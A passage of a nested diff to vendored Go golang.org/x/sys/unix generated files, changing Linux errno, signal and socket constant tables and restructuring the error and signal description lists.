- ENOANO = syscall.Errno(0x35)
- ENOBUFS = syscall.Errno(0x84)
- ENOCSI = syscall.Errno(0x2b)
- ENODATA = syscall.Errno(0x3d)
-- ENODEV = syscall.Errno(0x13)
-- ENOENT = syscall.Errno(0x2)
-- ENOEXEC = syscall.Errno(0x8)
- ENOKEY = syscall.Errno(0xa1)
- ENOLCK = syscall.Errno(0x2e)
- ENOLINK = syscall.Errno(0x43)
- ENOMEDIUM = syscall.Errno(0x9f)
-- ENOMEM = syscall.Errno(0xc)
- ENOMSG = syscall.Errno(0x23)
- ENONET = syscall.Errno(0x40)
- ENOPKG = syscall.Errno(0x41)
- ENOPROTOOPT = syscall.Errno(0x63)
-- ENOSPC = syscall.Errno(0x1c)
- ENOSR = syscall.Errno(0x3f)
- ENOSTR = syscall.Errno(0x3c)
- ENOSYS = syscall.Errno(0x59)
-- ENOTBLK = syscall.Errno(0xf)
- ENOTCONN = syscall.Errno(0x86)
-- ENOTDIR = syscall.Errno(0x14)
- ENOTEMPTY = syscall.Errno(0x5d)
- ENOTNAM = syscall.Errno(0x89)
- ENOTRECOVERABLE = syscall.Errno(0xa6)
- ENOTSOCK = syscall.Errno(0x5f)
- ENOTSUP = syscall.Errno(0x7a)
-- ENOTTY = syscall.Errno(0x19)
- ENOTUNIQ = syscall.Errno(0x50)
-- ENXIO = syscall.Errno(0x6)
- EOPNOTSUPP = syscall.Errno(0x7a)
- EOVERFLOW = syscall.Errno(0x4f)
- EOWNERDEAD = syscall.Errno(0xa5)
-- EPERM = syscall.Errno(0x1)
- EPFNOSUPPORT = syscall.Errno(0x7b)
-- EPIPE = syscall.Errno(0x20)
- EPROTO = syscall.Errno(0x47)
- EPROTONOSUPPORT = syscall.Errno(0x78)
- EPROTOTYPE = syscall.Errno(0x62)
-- ERANGE = syscall.Errno(0x22)
- EREMCHG = syscall.Errno(0x52)
- EREMDEV = syscall.Errno(0x8e)
- EREMOTE = syscall.Errno(0x42)
- EREMOTEIO = syscall.Errno(0x8c)
- ERESTART = syscall.Errno(0x5b)
- ERFKILL = syscall.Errno(0xa7)
-- EROFS = syscall.Errno(0x1e)
- ESHUTDOWN = syscall.Errno(0x8f)
- ESOCKTNOSUPPORT = syscall.Errno(0x79)
-- ESPIPE = syscall.Errno(0x1d)
-- ESRCH = syscall.Errno(0x3)
- ESRMNT = syscall.Errno(0x45)
- ESTALE = syscall.Errno(0x97)
- ESTRPIPE = syscall.Errno(0x5c)
- ETIME = syscall.Errno(0x3e)
- ETIMEDOUT = syscall.Errno(0x91)
- ETOOMANYREFS = syscall.Errno(0x90)
-- ETXTBSY = syscall.Errno(0x1a)
- EUCLEAN = syscall.Errno(0x87)
- EUNATCH = syscall.Errno(0x2a)
- EUSERS = syscall.Errno(0x5e)
-- EWOULDBLOCK = syscall.Errno(0xb)
-- EXDEV = syscall.Errno(0x12)
- EXFULL = syscall.Errno(0x34)
- )
-
- // Signals
- const (
-- SIGABRT = syscall.Signal(0x6)
-- SIGALRM = syscall.Signal(0xe)
- SIGBUS = syscall.Signal(0xa)
- SIGCHLD = syscall.Signal(0x12)
- SIGCLD = syscall.Signal(0x12)
- SIGCONT = syscall.Signal(0x19)
- SIGEMT = syscall.Signal(0x7)
-- SIGFPE = syscall.Signal(0x8)
-- SIGHUP = syscall.Signal(0x1)
-- SIGILL = syscall.Signal(0x4)
-- SIGINT = syscall.Signal(0x2)
- SIGIO = syscall.Signal(0x16)
-- SIGIOT = syscall.Signal(0x6)
-- SIGKILL = syscall.Signal(0x9)
-- SIGPIPE = syscall.Signal(0xd)
- SIGPOLL = syscall.Signal(0x16)
- SIGPROF = syscall.Signal(0x1d)
- SIGPWR = syscall.Signal(0x13)
-- SIGQUIT = syscall.Signal(0x3)
-- SIGSEGV = syscall.Signal(0xb)
- SIGSTOP = syscall.Signal(0x17)
- SIGSYS = syscall.Signal(0xc)
-- SIGTERM = syscall.Signal(0xf)
-- SIGTRAP = syscall.Signal(0x5)
- SIGTSTP = syscall.Signal(0x18)
- SIGTTIN = syscall.Signal(0x1a)
- SIGTTOU = syscall.Signal(0x1b)
-@@ -2036,174 +610,182 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "no such device or address",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource temporarily unavailable",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device or resource busy",
-- 17: "file exists",
-- 18: "invalid cross-device link",
-- 19: "no such device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "numerical result out of range",
-- 35: "no message of desired type",
-- 36: "identifier removed",
-- 37: "channel number out of range",
-- 38: "level 2 not synchronized",
-- 39: "level 3 halted",
-- 40: "level 3 reset",
-- 41: "link number out of range",
-- 42: "protocol driver not attached",
-- 43: "no CSI structure available",
-- 44: "level 2 halted",
-- 45: "resource deadlock avoided",
-- 46: "no locks available",
-- 50: "invalid exchange",
-- 51: "invalid request descriptor",
-- 52: "exchange full",
-- 53: "no anode",
-- 54: "invalid request code",
-- 55: "invalid slot",
-- 56: "file locking deadlock error",
-- 59: "bad font file format",
-- 60: "device not a stream",
-- 61: "no data available",
-- 62: "timer expired",
-- 63: "out of streams resources",
-- 64: "machine is not on the network",
-- 65: "package not installed",
-- 66: "object is remote",
-- 67: "link has been severed",
-- 68: "advertise error",
-- 69: "srmount error",
-- 70: "communication error on send",
-- 71: "protocol error",
-- 73: "RFS specific error",
-- 74: "multihop attempted",
-- 77: "bad message",
-- 78: "file name too long",
-- 79: "value too large for defined data type",
-- 80: "name not unique on network",
-- 81: "file descriptor in bad state",
-- 82: "remote address changed",
-- 83: "can not access a needed shared library",
-- 84: "accessing a corrupted shared library",
-- 85: ".lib section in a.out corrupted",
-- 86: "attempting to link in too many shared libraries",
-- 87: "cannot exec a shared library directly",
-- 88: "invalid or incomplete multibyte or wide character",
-- 89: "function not implemented",
-- 90: "too many levels of symbolic links",
-- 91: "interrupted system call should be restarted",
-- 92: "streams pipe error",
-- 93: "directory not empty",
-- 94: "too many users",
-- 95: "socket operation on non-socket",
-- 96: "destination address required",
-- 97: "message too long",
-- 98: "protocol wrong type for socket",
-- 99: "protocol not available",
-- 120: "protocol not supported",
-- 121: "socket type not supported",
-- 122: "operation not supported",
-- 123: "protocol family not supported",
-- 124: "address family not supported by protocol",
-- 125: "address already in use",
-- 126: "cannot assign requested address",
-- 127: "network is down",
-- 128: "network is unreachable",
-- 129: "network dropped connection on reset",
-- 130: "software caused connection abort",
-- 131: "connection reset by peer",
-- 132: "no buffer space available",
-- 133: "transport endpoint is already connected",
-- 134: "transport endpoint is not connected",
-- 135: "structure needs cleaning",
-- 137: "not a XENIX named type file",
-- 138: "no XENIX semaphores available",
-- 139: "is a named type file",
-- 140: "remote I/O error",
-- 141: "unknown error 141",
-- 142: "unknown error 142",
-- 143: "cannot send after transport endpoint shutdown",
-- 144: "too many references: cannot splice",
-- 145: "connection timed out",
-- 146: "connection refused",
-- 147: "host is down",
-- 148: "no route to host",
-- 149: "operation already in progress",
-- 150: "operation now in progress",
-- 151: "stale file handle",
-- 158: "operation canceled",
-- 159: "no medium found",
-- 160: "wrong medium type",
-- 161: "required key not available",
-- 162: "key has expired",
-- 163: "key has been revoked",
-- 164: "key was rejected by service",
-- 165: "owner died",
-- 166: "state not recoverable",
-- 167: "operation not possible due to RF-kill",
-- 168: "memory page has hardware error",
-- 1133: "disk quota exceeded",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EAGAIN", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device or resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "invalid cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "numerical result out of range"},
-+ {35, "ENOMSG", "no message of desired type"},
-+ {36, "EIDRM", "identifier removed"},
-+ {37, "ECHRNG", "channel number out of range"},
-+ {38, "EL2NSYNC", "level 2 not synchronized"},
-+ {39, "EL3HLT", "level 3 halted"},
-+ {40, "EL3RST", "level 3 reset"},
-+ {41, "ELNRNG", "link number out of range"},
-+ {42, "EUNATCH", "protocol driver not attached"},
-+ {43, "ENOCSI", "no CSI structure available"},
-+ {44, "EL2HLT", "level 2 halted"},
-+ {45, "EDEADLK", "resource deadlock avoided"},
-+ {46, "ENOLCK", "no locks available"},
-+ {50, "EBADE", "invalid exchange"},
-+ {51, "EBADR", "invalid request descriptor"},
-+ {52, "EXFULL", "exchange full"},
-+ {53, "ENOANO", "no anode"},
-+ {54, "EBADRQC", "invalid request code"},
-+ {55, "EBADSLT", "invalid slot"},
-+ {56, "EDEADLOCK", "file locking deadlock error"},
-+ {59, "EBFONT", "bad font file format"},
-+ {60, "ENOSTR", "device not a stream"},
-+ {61, "ENODATA", "no data available"},
-+ {62, "ETIME", "timer expired"},
-+ {63, "ENOSR", "out of streams resources"},
-+ {64, "ENONET", "machine is not on the network"},
-+ {65, "ENOPKG", "package not installed"},
-+ {66, "EREMOTE", "object is remote"},
-+ {67, "ENOLINK", "link has been severed"},
-+ {68, "EADV", "advertise error"},
-+ {69, "ESRMNT", "srmount error"},
-+ {70, "ECOMM", "communication error on send"},
-+ {71, "EPROTO", "protocol error"},
-+ {73, "EDOTDOT", "RFS specific error"},
-+ {74, "EMULTIHOP", "multihop attempted"},
-+ {77, "EBADMSG", "bad message"},
-+ {78, "ENAMETOOLONG", "file name too long"},
-+ {79, "EOVERFLOW", "value too large for defined data type"},
-+ {80, "ENOTUNIQ", "name not unique on network"},
-+ {81, "EBADFD", "file descriptor in bad state"},
-+ {82, "EREMCHG", "remote address changed"},
-+ {83, "ELIBACC", "can not access a needed shared library"},
-+ {84, "ELIBBAD", "accessing a corrupted shared library"},
-+ {85, "ELIBSCN", ".lib section in a.out corrupted"},
-+ {86, "ELIBMAX", "attempting to link in too many shared libraries"},
-+ {87, "ELIBEXEC", "cannot exec a shared library directly"},
-+ {88, "EILSEQ", "invalid or incomplete multibyte or wide character"},
-+ {89, "ENOSYS", "function not implemented"},
-+ {90, "ELOOP", "too many levels of symbolic links"},
-+ {91, "ERESTART", "interrupted system call should be restarted"},
-+ {92, "ESTRPIPE", "streams pipe error"},
-+ {93, "ENOTEMPTY", "directory not empty"},
-+ {94, "EUSERS", "too many users"},
-+ {95, "ENOTSOCK", "socket operation on non-socket"},
-+ {96, "EDESTADDRREQ", "destination address required"},
-+ {97, "EMSGSIZE", "message too long"},
-+ {98, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {99, "ENOPROTOOPT", "protocol not available"},
-+ {120, "EPROTONOSUPPORT", "protocol not supported"},
-+ {121, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {122, "ENOTSUP", "operation not supported"},
-+ {123, "EPFNOSUPPORT", "protocol family not supported"},
-+ {124, "EAFNOSUPPORT", "address family not supported by protocol"},
-+ {125, "EADDRINUSE", "address already in use"},
-+ {126, "EADDRNOTAVAIL", "cannot assign requested address"},
-+ {127, "ENETDOWN", "network is down"},
-+ {128, "ENETUNREACH", "network is unreachable"},
-+ {129, "ENETRESET", "network dropped connection on reset"},
-+ {130, "ECONNABORTED", "software caused connection abort"},
-+ {131, "ECONNRESET", "connection reset by peer"},
-+ {132, "ENOBUFS", "no buffer space available"},
-+ {133, "EISCONN", "transport endpoint is already connected"},
-+ {134, "ENOTCONN", "transport endpoint is not connected"},
-+ {135, "EUCLEAN", "structure needs cleaning"},
-+ {137, "ENOTNAM", "not a XENIX named type file"},
-+ {138, "ENAVAIL", "no XENIX semaphores available"},
-+ {139, "EISNAM", "is a named type file"},
-+ {140, "EREMOTEIO", "remote I/O error"},
-+ {141, "EINIT", "unknown error 141"},
-+ {142, "EREMDEV", "unknown error 142"},
-+ {143, "ESHUTDOWN", "cannot send after transport endpoint shutdown"},
-+ {144, "ETOOMANYREFS", "too many references: cannot splice"},
-+ {145, "ETIMEDOUT", "connection timed out"},
-+ {146, "ECONNREFUSED", "connection refused"},
-+ {147, "EHOSTDOWN", "host is down"},
-+ {148, "EHOSTUNREACH", "no route to host"},
-+ {149, "EALREADY", "operation already in progress"},
-+ {150, "EINPROGRESS", "operation now in progress"},
-+ {151, "ESTALE", "stale file handle"},
-+ {158, "ECANCELED", "operation canceled"},
-+ {159, "ENOMEDIUM", "no medium found"},
-+ {160, "EMEDIUMTYPE", "wrong medium type"},
-+ {161, "ENOKEY", "required key not available"},
-+ {162, "EKEYEXPIRED", "key has expired"},
-+ {163, "EKEYREVOKED", "key has been revoked"},
-+ {164, "EKEYREJECTED", "key was rejected by service"},
-+ {165, "EOWNERDEAD", "owner died"},
-+ {166, "ENOTRECOVERABLE", "state not recoverable"},
-+ {167, "ERFKILL", "operation not possible due to RF-kill"},
-+ {168, "EHWPOISON", "memory page has hardware error"},
-+ {1133, "EDQUOT", "disk quota exceeded"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/breakpoint trap",
-- 6: "aborted",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "user defined signal 1",
-- 17: "user defined signal 2",
-- 18: "child exited",
-- 19: "power failure",
-- 20: "window changed",
-- 21: "urgent I/O condition",
-- 22: "I/O possible",
-- 23: "stopped (signal)",
-- 24: "stopped",
-- 25: "continued",
-- 26: "stopped (tty input)",
-- 27: "stopped (tty output)",
-- 28: "virtual timer expired",
-- 29: "profiling timer expired",
-- 30: "CPU time limit exceeded",
-- 31: "file size limit exceeded",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/breakpoint trap"},
-+ {6, "SIGABRT", "aborted"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGUSR1", "user defined signal 1"},
-+ {17, "SIGUSR2", "user defined signal 2"},
-+ {18, "SIGCHLD", "child exited"},
-+ {19, "SIGPWR", "power failure"},
-+ {20, "SIGWINCH", "window changed"},
-+ {21, "SIGURG", "urgent I/O condition"},
-+ {22, "SIGIO", "I/O possible"},
-+ {23, "SIGSTOP", "stopped (signal)"},
-+ {24, "SIGTSTP", "stopped"},
-+ {25, "SIGCONT", "continued"},
-+ {26, "SIGTTIN", "stopped (tty input)"},
-+ {27, "SIGTTOU", "stopped (tty output)"},
-+ {28, "SIGVTALRM", "virtual timer expired"},
-+ {29, "SIGPROF", "profiling timer expired"},
-+ {30, "SIGXCPU", "CPU time limit exceeded"},
-+ {31, "SIGXFSZ", "file size limit exceeded"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64.go
-index 6772a59b..51858667 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64.go
-@@ -3,7 +3,7 @@
-
- // +build ppc64,linux
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go
-
- package unix
-@@ -11,1930 +11,549 @@ package unix
- import "syscall"
-
- const (
-- AF_ALG = 0x26
-- AF_APPLETALK = 0x5
-- AF_ASH = 0x12
-- AF_ATMPVC = 0x8
-- AF_ATMSVC = 0x14
-- AF_AX25 = 0x3
-- AF_BLUETOOTH = 0x1f
-- AF_BRIDGE = 0x7
-- AF_CAIF = 0x25
-- AF_CAN = 0x1d
-- AF_DECnet = 0xc
-- AF_ECONET = 0x13
-- AF_FILE = 0x1
-- AF_IB = 0x1b
-- AF_IEEE802154 = 0x24
-- AF_INET = 0x2
-- AF_INET6 = 0xa
-- AF_IPX = 0x4
-- AF_IRDA = 0x17
-- AF_ISDN = 0x22
-- AF_IUCV = 0x20
-- AF_KCM = 0x29
-- AF_KEY = 0xf
-- AF_LLC = 0x1a
-- AF_LOCAL = 0x1
-- AF_MAX = 0x2b
-- AF_MPLS = 0x1c
-- AF_NETBEUI = 0xd
-- AF_NETLINK = 0x10
-- AF_NETROM = 0x6
-- AF_NFC = 0x27
-- AF_PACKET = 0x11
-- AF_PHONET = 0x23
-- AF_PPPOX = 0x18
-- AF_QIPCRTR = 0x2a
-- AF_RDS = 0x15
-- AF_ROSE = 0xb
-- AF_ROUTE = 0x10
-- AF_RXRPC = 0x21
-- AF_SECURITY = 0xe
-- AF_SNA = 0x16
-- AF_TIPC = 0x1e
-- AF_UNIX = 0x1
-- AF_UNSPEC = 0x0
-- AF_VSOCK = 0x28
-- AF_WANPIPE = 0x19
-- AF_X25 = 0x9
-- ALG_OP_DECRYPT = 0x0
-- ALG_OP_ENCRYPT = 0x1
-- ALG_SET_AEAD_ASSOCLEN = 0x4
-- ALG_SET_AEAD_AUTHSIZE = 0x5
-- ALG_SET_IV = 0x2
-- ALG_SET_KEY = 0x1
-- ALG_SET_OP = 0x3
-- ARPHRD_6LOWPAN = 0x339
-- ARPHRD_ADAPT = 0x108
-- ARPHRD_APPLETLK = 0x8
-- ARPHRD_ARCNET = 0x7
-- ARPHRD_ASH = 0x30d
-- ARPHRD_ATM = 0x13
-- ARPHRD_AX25 = 0x3
-- ARPHRD_BIF = 0x307
-- ARPHRD_CAIF = 0x336
-- ARPHRD_CAN = 0x118
-- ARPHRD_CHAOS = 0x5
-- ARPHRD_CISCO = 0x201
-- ARPHRD_CSLIP = 0x101
-- ARPHRD_CSLIP6 = 0x103
-- ARPHRD_DDCMP = 0x205
-- ARPHRD_DLCI = 0xf
-- ARPHRD_ECONET = 0x30e
-- ARPHRD_EETHER = 0x2
-- ARPHRD_ETHER = 0x1
-- ARPHRD_EUI64 = 0x1b
-- ARPHRD_FCAL = 0x311
-- ARPHRD_FCFABRIC = 0x313
-- ARPHRD_FCPL = 0x312
-- ARPHRD_FCPP = 0x310
-- ARPHRD_FDDI = 0x306
-- ARPHRD_FRAD = 0x302
-- ARPHRD_HDLC = 0x201
-- ARPHRD_HIPPI = 0x30c
-- ARPHRD_HWX25 = 0x110
-- ARPHRD_IEEE1394 = 0x18
-- ARPHRD_IEEE802 = 0x6
-- ARPHRD_IEEE80211 = 0x321
-- ARPHRD_IEEE80211_PRISM = 0x322
-- ARPHRD_IEEE80211_RADIOTAP = 0x323
-- ARPHRD_IEEE802154 = 0x324
-- ARPHRD_IEEE802154_MONITOR = 0x325
-- ARPHRD_IEEE802_TR = 0x320
-- ARPHRD_INFINIBAND = 0x20
-- ARPHRD_IP6GRE = 0x337
-- ARPHRD_IPDDP = 0x309
-- ARPHRD_IPGRE = 0x30a
-- ARPHRD_IRDA = 0x30f
-- ARPHRD_LAPB = 0x204
-- ARPHRD_LOCALTLK = 0x305
-- ARPHRD_LOOPBACK = 0x304
-- ARPHRD_METRICOM = 0x17
-- ARPHRD_NETLINK = 0x338
-- ARPHRD_NETROM = 0x0
-- ARPHRD_NONE = 0xfffe
-- ARPHRD_PHONET = 0x334
-- ARPHRD_PHONET_PIPE = 0x335
-- ARPHRD_PIMREG = 0x30b
-- ARPHRD_PPP = 0x200
-- ARPHRD_PRONET = 0x4
-- ARPHRD_RAWHDLC = 0x206
-- ARPHRD_ROSE = 0x10e
-- ARPHRD_RSRVD = 0x104
-- ARPHRD_SIT = 0x308
-- ARPHRD_SKIP = 0x303
-- ARPHRD_SLIP = 0x100
-- ARPHRD_SLIP6 = 0x102
-- ARPHRD_TUNNEL = 0x300
-- ARPHRD_TUNNEL6 = 0x301
-- ARPHRD_VOID = 0xffff
-- ARPHRD_X25 = 0x10f
-- B0 = 0x0
-- B1000000 = 0x17
-- B110 = 0x3
-- B115200 = 0x11
-- B1152000 = 0x18
-- B1200 = 0x9
-- B134 = 0x4
-- B150 = 0x5
-- B1500000 = 0x19
-- B1800 = 0xa
-- B19200 = 0xe
-- B200 = 0x6
-- B2000000 = 0x1a
-- B230400 = 0x12
-- B2400 = 0xb
-- B2500000 = 0x1b
-- B300 = 0x7
-- B3000000 = 0x1c
-- B3500000 = 0x1d
-- B38400 = 0xf
-- B4000000 = 0x1e
-- B460800 = 0x13
-- B4800 = 0xc
-- B50 = 0x1
-- B500000 = 0x14
-- B57600 = 0x10
-- B576000 = 0x15
-- B600 = 0x8
-- B75 = 0x2
-- B921600 = 0x16
-- B9600 = 0xd
-- BLKBSZGET = 0x40081270
-- BLKBSZSET = 0x80081271
-- BLKFLSBUF = 0x20001261
-- BLKFRAGET = 0x20001265
-- BLKFRASET = 0x20001264
-- BLKGETSIZE = 0x20001260
-- BLKGETSIZE64 = 0x40081272
-- BLKPBSZGET = 0x2000127b
-- BLKRAGET = 0x20001263
-- BLKRASET = 0x20001262
-- BLKROGET = 0x2000125e
-- BLKROSET = 0x2000125d
-- BLKRRPART = 0x2000125f
-- BLKSECTGET = 0x20001267
-- BLKSECTSET = 0x20001266
-- BLKSSZGET = 0x20001268
-- BOTHER = 0x1f
-- BPF_A = 0x10
-- BPF_ABS = 0x20
-- BPF_ADD = 0x0
-- BPF_ALU = 0x4
-- BPF_AND = 0x50
-- BPF_B = 0x10
-- BPF_DIV = 0x30
-- BPF_H = 0x8
-- BPF_IMM = 0x0
-- BPF_IND = 0x40
-- BPF_JA = 0x0
-- BPF_JEQ = 0x10
-- BPF_JGE = 0x30
-- BPF_JGT = 0x20
-- BPF_JMP = 0x5
-- BPF_JSET = 0x40
-- BPF_K = 0x0
-- BPF_LD = 0x0
-- BPF_LDX = 0x1
-- BPF_LEN = 0x80
-- BPF_LL_OFF = -0x200000
-- BPF_LSH = 0x60
-- BPF_MAJOR_VERSION = 0x1
-- BPF_MAXINSNS = 0x1000
-- BPF_MEM = 0x60
-- BPF_MEMWORDS = 0x10
-- BPF_MINOR_VERSION = 0x1
-- BPF_MISC = 0x7
-- BPF_MOD = 0x90
-- BPF_MSH = 0xa0
-- BPF_MUL = 0x20
-- BPF_NEG = 0x80
-- BPF_NET_OFF = -0x100000
-- BPF_OR = 0x40
-- BPF_RET = 0x6
-- BPF_RSH = 0x70
-- BPF_ST = 0x2
-- BPF_STX = 0x3
-- BPF_SUB = 0x10
-- BPF_TAX = 0x0
-- BPF_TXA = 0x80
-- BPF_W = 0x0
-- BPF_X = 0x8
-- BPF_XOR = 0xa0
-- BRKINT = 0x2
-- BS0 = 0x0
-- BS1 = 0x8000
-- BSDLY = 0x8000
-- CAN_BCM = 0x2
-- CAN_EFF_FLAG = 0x80000000
-- CAN_EFF_ID_BITS = 0x1d
-- CAN_EFF_MASK = 0x1fffffff
-- CAN_ERR_FLAG = 0x20000000
-- CAN_ERR_MASK = 0x1fffffff
-- CAN_INV_FILTER = 0x20000000
-- CAN_ISOTP = 0x6
-- CAN_MAX_DLC = 0x8
-- CAN_MAX_DLEN = 0x8
-- CAN_MCNET = 0x5
-- CAN_MTU = 0x10
-- CAN_NPROTO = 0x7
-- CAN_RAW = 0x1
-- CAN_RAW_FILTER_MAX = 0x200
-- CAN_RTR_FLAG = 0x40000000
-- CAN_SFF_ID_BITS = 0xb
-- CAN_SFF_MASK = 0x7ff
-- CAN_TP16 = 0x3
-- CAN_TP20 = 0x4
-- CBAUD = 0xff
-- CBAUDEX = 0x0
-- CFLUSH = 0xf
-- CIBAUD = 0xff0000
-- CLOCAL = 0x8000
-- CLOCK_BOOTTIME = 0x7
-- CLOCK_BOOTTIME_ALARM = 0x9
-- CLOCK_DEFAULT = 0x0
-- CLOCK_EXT = 0x1
-- CLOCK_INT = 0x2
-- CLOCK_MONOTONIC = 0x1
-- CLOCK_MONOTONIC_COARSE = 0x6
-- CLOCK_MONOTONIC_RAW = 0x4
-- CLOCK_PROCESS_CPUTIME_ID = 0x2
-- CLOCK_REALTIME = 0x0
-- CLOCK_REALTIME_ALARM = 0x8
-- CLOCK_REALTIME_COARSE = 0x5
-- CLOCK_TAI = 0xb
-- CLOCK_THREAD_CPUTIME_ID = 0x3
-- CLOCK_TXFROMRX = 0x4
-- CLOCK_TXINT = 0x3
-- CLONE_CHILD_CLEARTID = 0x200000
-- CLONE_CHILD_SETTID = 0x1000000
-- CLONE_DETACHED = 0x400000
-- CLONE_FILES = 0x400
-- CLONE_FS = 0x200
-- CLONE_IO = 0x80000000
-- CLONE_NEWCGROUP = 0x2000000
-- CLONE_NEWIPC = 0x8000000
-- CLONE_NEWNET = 0x40000000
-- CLONE_NEWNS = 0x20000
-- CLONE_NEWPID = 0x20000000
-- CLONE_NEWUSER = 0x10000000
-- CLONE_NEWUTS = 0x4000000
-- CLONE_PARENT = 0x8000
-- CLONE_PARENT_SETTID = 0x100000
-- CLONE_PTRACE = 0x2000
-- CLONE_SETTLS = 0x80000
-- CLONE_SIGHAND = 0x800
-- CLONE_SYSVSEM = 0x40000
-- CLONE_THREAD = 0x10000
-- CLONE_UNTRACED = 0x800000
-- CLONE_VFORK = 0x4000
-- CLONE_VM = 0x100
-- CMSPAR = 0x40000000
-- CR0 = 0x0
-- CR1 = 0x1000
-- CR2 = 0x2000
-- CR3 = 0x3000
-- CRDLY = 0x3000
-- CREAD = 0x800
-- CRTSCTS = 0x80000000
-- CS5 = 0x0
-- CS6 = 0x100
-- CS7 = 0x200
-- CS8 = 0x300
-- CSIGNAL = 0xff
-- CSIZE = 0x300
-- CSTART = 0x11
-- CSTATUS = 0x0
-- CSTOP = 0x13
-- CSTOPB = 0x400
-- CSUSP = 0x1a
-- DT_BLK = 0x6
-- DT_CHR = 0x2
-- DT_DIR = 0x4
-- DT_FIFO = 0x1
-- DT_LNK = 0xa
-- DT_REG = 0x8
-- DT_SOCK = 0xc
-- DT_UNKNOWN = 0x0
-- DT_WHT = 0xe
-- ECHO = 0x8
-- ECHOCTL = 0x40
-- ECHOE = 0x2
-- ECHOK = 0x4
-- ECHOKE = 0x1
-- ECHONL = 0x10
-- ECHOPRT = 0x20
-- EFD_CLOEXEC = 0x80000
-- EFD_NONBLOCK = 0x800
-- EFD_SEMAPHORE = 0x1
-- ENCODING_DEFAULT = 0x0
-- ENCODING_FM_MARK = 0x3
-- ENCODING_FM_SPACE = 0x4
-- ENCODING_MANCHESTER = 0x5
-- ENCODING_NRZ = 0x1
-- ENCODING_NRZI = 0x2
-- EPOLLERR = 0x8
-- EPOLLET = 0x80000000
-- EPOLLEXCLUSIVE = 0x10000000
-- EPOLLHUP = 0x10
-- EPOLLIN = 0x1
-- EPOLLMSG = 0x400
-- EPOLLONESHOT = 0x40000000
-- EPOLLOUT = 0x4
-- EPOLLPRI = 0x2
-- EPOLLRDBAND = 0x80
-- EPOLLRDHUP = 0x2000
-- EPOLLRDNORM = 0x40
-- EPOLLWAKEUP = 0x20000000
-- EPOLLWRBAND = 0x200
-- EPOLLWRNORM = 0x100
-- EPOLL_CLOEXEC = 0x80000
-- EPOLL_CTL_ADD = 0x1
-- EPOLL_CTL_DEL = 0x2
-- EPOLL_CTL_MOD = 0x3
-- ETH_P_1588 = 0x88f7
-- ETH_P_8021AD = 0x88a8
-- ETH_P_8021AH = 0x88e7
-- ETH_P_8021Q = 0x8100
-- ETH_P_80221 = 0x8917
-- ETH_P_802_2 = 0x4
-- ETH_P_802_3 = 0x1
-- ETH_P_802_3_MIN = 0x600
-- ETH_P_802_EX1 = 0x88b5
-- ETH_P_AARP = 0x80f3
